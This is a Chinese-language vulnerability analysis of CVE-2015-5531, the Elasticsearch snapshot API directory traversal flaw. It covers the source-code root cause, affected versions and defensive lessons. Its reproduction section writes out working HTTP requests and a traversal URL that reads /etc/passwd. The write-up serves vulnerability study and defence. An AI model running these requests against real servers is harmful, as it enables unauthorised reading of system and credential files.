概述
漏洞名称:Elasticsearch 快照API目录遍历漏洞
CVE 编号:CVE-2015-5531
CVSS 评分:7.5
影响版本:
Elasticsearch 1.0.0–1.6.0(1.5.1及以前版本无需配置即可触发;1.5.2–1.6.0需配置path.repo
)
修复版本:≥ 1.6.1
漏洞类型:目录遍历 → 任意文件读取
根本原因:
Elasticsearch 快照API未对用户输入的存储路径进行规范化校验,攻击者可通过构造含../
的恶意路径参数,绕过目录限制读取服务器任意文件(如/etc/passwd
、配置文件或敏感数据)。
源码分析
漏洞位置:org.elasticsearch.repositories.fs.FsRepository
public class FsRepository extends BlobStoreRepository {
@Inject
public FsRepository(RepositoryName name, RepositorySettings repositorySettings,
Environment environment) throws IOException {
// 关键漏洞点1:获取location参数(用户可控)
String location = repositorySettings.settings().get("location",
this.componentSettings.get("location"));
// 关键漏洞点2:解析路径但未规范化
File locationFile = environment.resolveRepoFile(location);
// 关键漏洞点3:创建文件系统访问对象
this.blobStore = new FsBlobStore(this.componentSettings, locationFile);
}
}
漏洞核心:FsBlobStore
构造器
public FsBlobStore(Settings settings, File file) {
this.file = file; // 直接存储未规范化的用户输入路径
this.bufferSizeInBytes = (int) settings.getAsBytes("buffer_size", 102400).bytes();
}
漏洞触发链
漏洞根源分析
路径解析缺陷:
environment.resolveRepoFile()
仅验证路径是否在path.repo
配置范围内- 但允许路径包含
../
序列(如valid_path/../../../etc
)
缺少规范化校验:
// 应有但缺失的安全检查 Path normalized = locationFile.toPath().normalize(); if (!normalized.startsWith(environment.repoFiles()[0].toPath())) { throw new SecurityException("Path traversal attempt"); }
无快照名称过滤:
- 快照名称直接拼接路径(
location + "/" + snapshot
) - 未过滤
snapshot
中的特殊字符
- 快照名称直接拼接路径(
漏洞复现
1. 手动复现步骤
(1)创建恶意仓库:
PUT /_snapshot/test HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 108
{
"type": "fs",
"settings": {
"location": "/usr/share/elasticsearch/repo/test"
}
}
(2)注入路径遍历字符创建快照:
PUT /_snapshot/test2 HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 108
{
"type": "fs",
"settings": {
"location": "/usr/share/elasticsearch/repo/test/snapshot-backdata"
}
}
(3)读取任意文件:
http://your-ip:9200/_snapshot/test/backdata%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
ascii解码:
影响范围
受影响版本
分支 | 受影响版本 | 安全版本 |
---|---|---|
1.0.x–1.4.x | 全版本 | 无官方更新 |
1.5.x | 1.5.0–1.5.1 | ≥ 1.6.1 |
1.6.x | ≤ 1.6.0 | ≥ 1.6.1 |
漏洞启示:
- 零信任路径处理:所有用户输入路径必须经
绝对路径规范化 + 子目录校验
(参考OWASP路径遍历防护指南)。- 最小权限原则:备份目录需独立配置,且Elasticsearch进程权限应限制为仅能读写必要目录。
- 纵深防御:结合应用层补丁、网络隔离(防火墙规则)和文件监控(Auditd日志审计)多层防护。